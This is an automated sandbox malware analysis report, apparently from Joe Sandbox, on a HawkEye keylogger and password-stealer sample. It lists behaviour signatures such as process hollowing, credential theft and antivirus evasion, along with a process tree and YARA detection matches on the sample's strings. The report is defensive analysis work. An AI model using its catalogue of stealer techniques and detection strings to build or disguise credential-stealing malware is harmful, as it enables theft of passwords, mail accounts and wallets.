Play interactive tour

Edit tour

Windows Analysis Report ypBoHI5G3x

Overview

General Information

Sample Name:	ypBoHI5G3x (renamed file extension from none to exe)
Analysis ID:	454641
MD5:	08d679d4b9a12137756cc9244bd6f017
SHA1:	580c29bc356057d76873c9c453ed466e1024b7f2
SHA256:	047f33e6f83796d9fc056d7006a6e8ef69696d63eceb29fb1592bb13a62e79bf
Tags:	32exetrojan
Infos:
Most interesting Screenshot:

Detection

HawkEye MailPassView

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected HawkEye Rat

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected HawkEye Keylogger

Yara detected MailPassView

.NET source code contains potential unpacker

.NET source code contains very large array initializations

.NET source code references suspicious native API functions

Changes the view of files in windows explorer (hidden files and folders)

Contains functionality to log keystrokes (.Net Source)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Sample uses process hollowing technique

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file access)

Tries to steal Mail credentials (via file registry)

Writes to foreign memory regions

Yara detected WebBrowserPassView password recovery tool

AV process strings found (often used to terminate AV products)

Antivirus or Machine Learning detection for unpacked file

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses FTP

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w10x64

ypBoHI5G3x.exe (PID: 6504 cmdline: 'C:\Users\user\Desktop\ypBoHI5G3x.exe' MD5: 08D679D4B9A12137756CC9244BD6F017)

InstallUtil.exe (PID: 6456 cmdline: C:\Users\user\AppData\Local\Temp\InstallUtil.exe MD5: EFEC8C379D165E3F33B536739AEE26A3)

vbc.exe (PID: 5560 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holderwb.txt' MD5: C63ED21D5706A527419C9FBD730FFB2E)

vbc.exe (PID: 5432 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 'C:\Users\user\AppData\Local\Temp\holdermail.txt' MD5: C63ED21D5706A527419C9FBD730FFB2E)

cleanup

Malware Configuration

Threatname: HawkEye

{"Modules": ["WebBrowserPassView", "mailpv", "Mail PassView"], "Version": ""}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.613574939.0000000008110000.00000004.00000001.sdmp	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
00000013.00000002.491218277.0000000000400000.00000040.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x37e24:$hawkstr1: HawkEye Keylogger 0x3b150:$hawkstr1: HawkEye Keylogger 0x3b4d0:$hawkstr1: HawkEye Keylogger 0x3d994:$hawkstr1: HawkEye Keylogger 0x378dc:$hawkstr2: Dear HawkEye Customers! 0x3b1b0:$hawkstr2: Dear HawkEye Customers! 0x3b530:$hawkstr2: Dear HawkEye Customers! 0x37a0a:$hawkstr3: HawkEye Logger Details:
00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0xfdd61:$key: HawkEyeKeylogger 0x17fe1f:$key: HawkEyeKeylogger 0x2022ff:$key: HawkEyeKeylogger 0xfff5f:$salt: 099u787978786 0x18201d:$salt: 099u787978786 0x2044fd:$salt: 099u787978786 0xfe37a:$string1: HawkEye_Keylogger 0xff1cd:$string1: HawkEye_Keylogger 0xffebf:$string1: HawkEye_Keylogger 0x180438:$string1: HawkEye_Keylogger 0x18128b:$string1: HawkEye_Keylogger 0x181f7d:$string1: HawkEye_Keylogger 0x202918:$string1: HawkEye_Keylogger 0x20376b:$string1: HawkEye_Keylogger 0x20445d:$string1: HawkEye_Keylogger 0xfe763:$string2: holdermail.txt 0xfe783:$string2: holdermail.txt 0x180821:$string2: holdermail.txt 0x180841:$string2: holdermail.txt 0x202d01:$string2: holdermail.txt 0x202d21:$string2: holdermail.txt
00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0xfe3d2:$hawkstr1: HawkEye Keylogger 0xff213:$hawkstr1: HawkEye Keylogger 0xff542:$hawkstr1: HawkEye Keylogger 0xff69d:$hawkstr1: HawkEye Keylogger 0xff800:$hawkstr1: HawkEye Keylogger 0xffa79:$hawkstr1: HawkEye Keylogger 0x180490:$hawkstr1: HawkEye Keylogger 0x1812d1:$hawkstr1: HawkEye Keylogger 0x181600:$hawkstr1: HawkEye Keylogger 0x18175b:$hawkstr1: HawkEye Keylogger 0x1818be:$hawkstr1: HawkEye Keylogger 0x181b37:$hawkstr1: HawkEye Keylogger 0x202970:$hawkstr1: HawkEye Keylogger 0x2037b1:$hawkstr1: HawkEye Keylogger 0x203ae0:$hawkstr1: HawkEye Keylogger 0x203c3b:$hawkstr1: HawkEye Keylogger 0x203d9e:$hawkstr1: HawkEye Keylogger 0x204017:$hawkstr1: HawkEye Keylogger 0xfdf60:$hawkstr2: Dear HawkEye Customers! 0xff595:$hawkstr2: Dear HawkEye Customers! 0xff6ec:$hawkstr2: Dear HawkEye Customers!
0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7b697:$key: HawkEyeKeylogger 0x7d895:$salt: 099u787978786 0x7bcb0:$string1: HawkEye_Keylogger 0x7cb03:$string1: HawkEye_Keylogger 0x7d7f5:$string1: HawkEye_Keylogger 0x7c099:$string2: holdermail.txt 0x7c0b9:$string2: holdermail.txt 0x7bfdb:$string3: wallet.dat 0x7bff3:$string3: wallet.dat 0x7c009:$string3: wallet.dat 0x7d3d7:$string4: Keylog Records 0x7d6ef:$string4: Keylog Records 0x7d8ed:$string5: do not script --> 0x7b67f:$string6: \pidloc.txt 0x7b6e5:$string7: BSPLIT 0x7b6f5:$string7: BSPLIT
0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7bd08:$hawkstr1: HawkEye Keylogger 0x7cb49:$hawkstr1: HawkEye Keylogger 0x7ce78:$hawkstr1: HawkEye Keylogger 0x7cfd3:$hawkstr1: HawkEye Keylogger 0x7d136:$hawkstr1: HawkEye Keylogger 0x7d3af:$hawkstr1: HawkEye Keylogger 0x7b896:$hawkstr2: Dear HawkEye Customers! 0x7cecb:$hawkstr2: Dear HawkEye Customers! 0x7d022:$hawkstr2: Dear HawkEye Customers! 0x7d189:$hawkstr2: Dear HawkEye Customers! 0x7b9b7:$hawkstr3: HawkEye Logger Details:
00000012.00000002.493947169.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
0000000C.00000002.612974883.0000000007750000.00000004.00000001.sdmp	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
0000000C.00000002.606739235.0000000003B31000.00000004.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
0000000C.00000002.606739235.0000000003B31000.00000004.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7c181:$key: HawkEyeKeylogger 0x7e37f:$salt: 099u787978786 0x7c79a:$string1: HawkEye_Keylogger 0x7d5ed:$string1: HawkEye_Keylogger 0x7e2df:$string1: HawkEye_Keylogger 0x7cb83:$string2: holdermail.txt 0x7cba3:$string2: holdermail.txt 0x7cac5:$string3: wallet.dat 0x7cadd:$string3: wallet.dat 0x7caf3:$string3: wallet.dat 0x7dec1:$string4: Keylog Records 0x7e1d9:$string4: Keylog Records 0x7e3d7:$string5: do not script --> 0x7c169:$string6: \pidloc.txt 0x7c1cf:$string7: BSPLIT 0x7c1df:$string7: BSPLIT
00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7c7f2:$hawkstr1: HawkEye Keylogger 0x7d633:$hawkstr1: HawkEye Keylogger 0x7d962:$hawkstr1: HawkEye Keylogger 0x7dabd:$hawkstr1: HawkEye Keylogger 0x7dc20:$hawkstr1: HawkEye Keylogger 0x7de99:$hawkstr1: HawkEye Keylogger 0x7c380:$hawkstr2: Dear HawkEye Customers! 0x7d9b5:$hawkstr2: Dear HawkEye Customers! 0x7db0c:$hawkstr2: Dear HawkEye Customers! 0x7dc73:$hawkstr2: Dear HawkEye Customers! 0x7c4a1:$hawkstr3: HawkEye Logger Details:
Process Memory Space: ypBoHI5G3x.exe PID: 6504	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
Process Memory Space: ypBoHI5G3x.exe PID: 6504	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
Process Memory Space: ypBoHI5G3x.exe PID: 6504	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: vbc.exe PID: 5560	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Process Memory Space: vbc.exe PID: 5432	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
Process Memory Space: InstallUtil.exe PID: 6456	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
Process Memory Space: InstallUtil.exe PID: 6456	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
Process Memory Space: InstallUtil.exe PID: 6456	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.InstallUtil.exe.7750000.11.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
12.2.InstallUtil.exe.2b6ec2c.6.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
12.2.InstallUtil.exe.3b39930.7.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
12.2.InstallUtil.exe.45fa72.2.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
19.2.vbc.exe.400000.0.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
12.2.InstallUtil.exe.3b39930.7.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
12.2.InstallUtil.exe.3b39930.7.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
12.2.InstallUtil.exe.45fa72.2.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x1dc25:$key: HawkEyeKeylogger 0x1fe23:$salt: 099u787978786 0x1e23e:$string1: HawkEye_Keylogger 0x1f091:$string1: HawkEye_Keylogger 0x1fd83:$string1: HawkEye_Keylogger 0x1e627:$string2: holdermail.txt 0x1e647:$string2: holdermail.txt 0x1e569:$string3: wallet.dat 0x1e581:$string3: wallet.dat 0x1e597:$string3: wallet.dat 0x1f965:$string4: Keylog Records 0x1fc7d:$string4: Keylog Records 0x1fe7b:$string5: do not script --> 0x1dc0d:$string6: \pidloc.txt 0x1dc73:$string7: BSPLIT 0x1dc83:$string7: BSPLIT
12.2.InstallUtil.exe.45fa72.2.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
12.2.InstallUtil.exe.45fa72.2.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
12.2.InstallUtil.exe.45fa72.2.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x1e296:$hawkstr1: HawkEye Keylogger 0x1f0d7:$hawkstr1: HawkEye Keylogger 0x1f406:$hawkstr1: HawkEye Keylogger 0x1f561:$hawkstr1: HawkEye Keylogger 0x1f6c4:$hawkstr1: HawkEye Keylogger 0x1f93d:$hawkstr1: HawkEye Keylogger 0x1de24:$hawkstr2: Dear HawkEye Customers! 0x1f459:$hawkstr2: Dear HawkEye Customers! 0x1f5b0:$hawkstr2: Dear HawkEye Customers! 0x1f717:$hawkstr2: Dear HawkEye Customers! 0x1df45:$hawkstr3: HawkEye Logger Details:
1.2.ypBoHI5G3x.exe.41a36f7.3.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
12.2.InstallUtil.exe.409c0d.3.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
12.2.InstallUtil.exe.400000.0.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7b897:$key: HawkEyeKeylogger 0x7da95:$salt: 099u787978786 0x7beb0:$string1: HawkEye_Keylogger 0x7cd03:$string1: HawkEye_Keylogger 0x7d9f5:$string1: HawkEye_Keylogger 0x7c299:$string2: holdermail.txt 0x7c2b9:$string2: holdermail.txt 0x7c1db:$string3: wallet.dat 0x7c1f3:$string3: wallet.dat 0x7c209:$string3: wallet.dat 0x7d5d7:$string4: Keylog Records 0x7d8ef:$string4: Keylog Records 0x7daed:$string5: do not script --> 0x7b87f:$string6: \pidloc.txt 0x7b8e5:$string7: BSPLIT 0x7b8f5:$string7: BSPLIT
12.2.InstallUtil.exe.400000.0.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x7423:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
12.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
12.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
12.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
12.2.InstallUtil.exe.400000.0.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7bf08:$hawkstr1: HawkEye Keylogger 0x7cd49:$hawkstr1: HawkEye Keylogger 0x7d078:$hawkstr1: HawkEye Keylogger 0x7d1d3:$hawkstr1: HawkEye Keylogger 0x7d336:$hawkstr1: HawkEye Keylogger 0x7d5af:$hawkstr1: HawkEye Keylogger 0x7ba96:$hawkstr2: Dear HawkEye Customers! 0x7d0cb:$hawkstr2: Dear HawkEye Customers! 0x7d222:$hawkstr2: Dear HawkEye Customers! 0x7d389:$hawkstr2: Dear HawkEye Customers! 0x7bbb7:$hawkstr3: HawkEye Logger Details:
12.2.InstallUtil.exe.3b51b50.8.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
19.2.vbc.exe.400000.0.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
12.2.InstallUtil.exe.8110000.12.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
12.2.InstallUtil.exe.2b5b2a0.5.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x149a7:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
12.2.InstallUtil.exe.2b5b2a0.5.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
12.2.InstallUtil.exe.2b5b2a0.5.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0xdb84:$hawkstr1: HawkEye Keylogger 0x10eb0:$hawkstr1: HawkEye Keylogger 0x11230:$hawkstr1: HawkEye Keylogger 0x136f4:$hawkstr1: HawkEye Keylogger 0xd63c:$hawkstr2: Dear HawkEye Customers! 0x10f10:$hawkstr2: Dear HawkEye Customers! 0x11290:$hawkstr2: Dear HawkEye Customers! 0xd76a:$hawkstr3: HawkEye Logger Details:
1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7548f:$key: HawkEyeKeylogger 0x7768d:$salt: 099u787978786 0x75aa8:$string1: HawkEye_Keylogger 0x768fb:$string1: HawkEye_Keylogger 0x775ed:$string1: HawkEye_Keylogger 0x75e91:$string2: holdermail.txt 0x75eb1:$string2: holdermail.txt 0x75dd3:$string3: wallet.dat 0x75deb:$string3: wallet.dat 0x75e01:$string3: wallet.dat 0x771cf:$string4: Keylog Records 0x774e7:$string4: Keylog Records 0x776e5:$string5: do not script --> 0x75477:$string6: \pidloc.txt 0x754dd:$string7: BSPLIT 0x754ed:$string7: BSPLIT
1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x75b00:$hawkstr1: HawkEye Keylogger 0x76941:$hawkstr1: HawkEye Keylogger 0x76c70:$hawkstr1: HawkEye Keylogger 0x76dcb:$hawkstr1: HawkEye Keylogger 0x76f2e:$hawkstr1: HawkEye Keylogger 0x771a7:$hawkstr1: HawkEye Keylogger 0x7568e:$hawkstr2: Dear HawkEye Customers! 0x76cc3:$hawkstr2: Dear HawkEye Customers! 0x76e1a:$hawkstr2: Dear HawkEye Customers! 0x76f81:$hawkstr2: Dear HawkEye Customers! 0x757af:$hawkstr3: HawkEye Logger Details:
1.2.ypBoHI5G3x.exe.419b8ea.4.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x79a97:$key: HawkEyeKeylogger 0x7bc95:$salt: 099u787978786 0x7a0b0:$string1: HawkEye_Keylogger 0x7af03:$string1: HawkEye_Keylogger 0x7bbf5:$string1: HawkEye_Keylogger 0x7a499:$string2: holdermail.txt 0x7a4b9:$string2: holdermail.txt 0x7a3db:$string3: wallet.dat 0x7a3f3:$string3: wallet.dat 0x7a409:$string3: wallet.dat 0x7b7d7:$string4: Keylog Records 0x7baef:$string4: Keylog Records 0x7bced:$string5: do not script --> 0x79a7f:$string6: \pidloc.txt 0x79ae5:$string7: BSPLIT 0x79af5:$string7: BSPLIT
1.2.ypBoHI5G3x.exe.419b8ea.4.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x5623:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.ypBoHI5G3x.exe.419b8ea.4.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.ypBoHI5G3x.exe.419b8ea.4.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.ypBoHI5G3x.exe.419b8ea.4.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.ypBoHI5G3x.exe.419b8ea.4.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7a108:$hawkstr1: HawkEye Keylogger 0x7af49:$hawkstr1: HawkEye Keylogger 0x7b278:$hawkstr1: HawkEye Keylogger 0x7b3d3:$hawkstr1: HawkEye Keylogger 0x7b536:$hawkstr1: HawkEye Keylogger 0x7b7af:$hawkstr1: HawkEye Keylogger 0x79c96:$hawkstr2: Dear HawkEye Customers! 0x7b2cb:$hawkstr2: Dear HawkEye Customers! 0x7b422:$hawkstr2: Dear HawkEye Customers! 0x7b589:$hawkstr2: Dear HawkEye Customers! 0x79db7:$hawkstr3: HawkEye Logger Details:
1.2.ypBoHI5G3x.exe.439c2d7.6.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
18.2.vbc.exe.400000.0.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
18.2.vbc.exe.400000.0.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
12.2.InstallUtil.exe.408208.1.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7548f:$key: HawkEyeKeylogger 0x7768d:$salt: 099u787978786 0x75aa8:$string1: HawkEye_Keylogger 0x768fb:$string1: HawkEye_Keylogger 0x775ed:$string1: HawkEye_Keylogger 0x75e91:$string2: holdermail.txt 0x75eb1:$string2: holdermail.txt 0x75dd3:$string3: wallet.dat 0x75deb:$string3: wallet.dat 0x75e01:$string3: wallet.dat 0x771cf:$string4: Keylog Records 0x774e7:$string4: Keylog Records 0x776e5:$string5: do not script --> 0x75477:$string6: \pidloc.txt 0x754dd:$string7: BSPLIT 0x754ed:$string7: BSPLIT
12.2.InstallUtil.exe.408208.1.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
12.2.InstallUtil.exe.408208.1.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
12.2.InstallUtil.exe.408208.1.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
12.2.InstallUtil.exe.408208.1.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
12.2.InstallUtil.exe.408208.1.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x75b00:$hawkstr1: HawkEye Keylogger 0x76941:$hawkstr1: HawkEye Keylogger 0x76c70:$hawkstr1: HawkEye Keylogger 0x76dcb:$hawkstr1: HawkEye Keylogger 0x76f2e:$hawkstr1: HawkEye Keylogger 0x771a7:$hawkstr1: HawkEye Keylogger 0x7568e:$hawkstr2: Dear HawkEye Customers! 0x76cc3:$hawkstr2: Dear HawkEye Customers! 0x76e1a:$hawkstr2: Dear HawkEye Customers! 0x76f81:$hawkstr2: Dear HawkEye Customers! 0x757af:$hawkstr3: HawkEye Logger Details:
12.2.InstallUtil.exe.3b51b50.8.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.ypBoHI5G3x.exe.43944ca.8.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x79a97:$key: HawkEyeKeylogger 0x7bc95:$salt: 099u787978786 0x7a0b0:$string1: HawkEye_Keylogger 0x7af03:$string1: HawkEye_Keylogger 0x7bbf5:$string1: HawkEye_Keylogger 0x7a499:$string2: holdermail.txt 0x7a4b9:$string2: holdermail.txt 0x7a3db:$string3: wallet.dat 0x7a3f3:$string3: wallet.dat 0x7a409:$string3: wallet.dat 0x7b7d7:$string4: Keylog Records 0x7baef:$string4: Keylog Records 0x7bced:$string5: do not script --> 0x79a7f:$string6: \pidloc.txt 0x79ae5:$string7: BSPLIT 0x79af5:$string7: BSPLIT
1.2.ypBoHI5G3x.exe.43944ca.8.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x5623:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.ypBoHI5G3x.exe.43944ca.8.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.ypBoHI5G3x.exe.43944ca.8.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.ypBoHI5G3x.exe.43944ca.8.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.ypBoHI5G3x.exe.43944ca.8.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7a108:$hawkstr1: HawkEye Keylogger 0x7af49:$hawkstr1: HawkEye Keylogger 0x7b278:$hawkstr1: HawkEye Keylogger 0x7b3d3:$hawkstr1: HawkEye Keylogger 0x7b536:$hawkstr1: HawkEye Keylogger 0x7b7af:$hawkstr1: HawkEye Keylogger 0x79c96:$hawkstr2: Dear HawkEye Customers! 0x7b2cb:$hawkstr2: Dear HawkEye Customers! 0x7b422:$hawkstr2: Dear HawkEye Customers! 0x7b589:$hawkstr2: Dear HawkEye Customers! 0x79db7:$hawkstr3: HawkEye Logger Details:
1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7b897:$key: HawkEyeKeylogger 0x7da95:$salt: 099u787978786 0x7beb0:$string1: HawkEye_Keylogger 0x7cd03:$string1: HawkEye_Keylogger 0x7d9f5:$string1: HawkEye_Keylogger 0x7c299:$string2: holdermail.txt 0x7c2b9:$string2: holdermail.txt 0x7c1db:$string3: wallet.dat 0x7c1f3:$string3: wallet.dat 0x7c209:$string3: wallet.dat 0x7d5d7:$string4: Keylog Records 0x7d8ef:$string4: Keylog Records 0x7daed:$string5: do not script --> 0x7b87f:$string6: \pidloc.txt 0x7b8e5:$string7: BSPLIT 0x7b8f5:$string7: BSPLIT
1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x7423:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
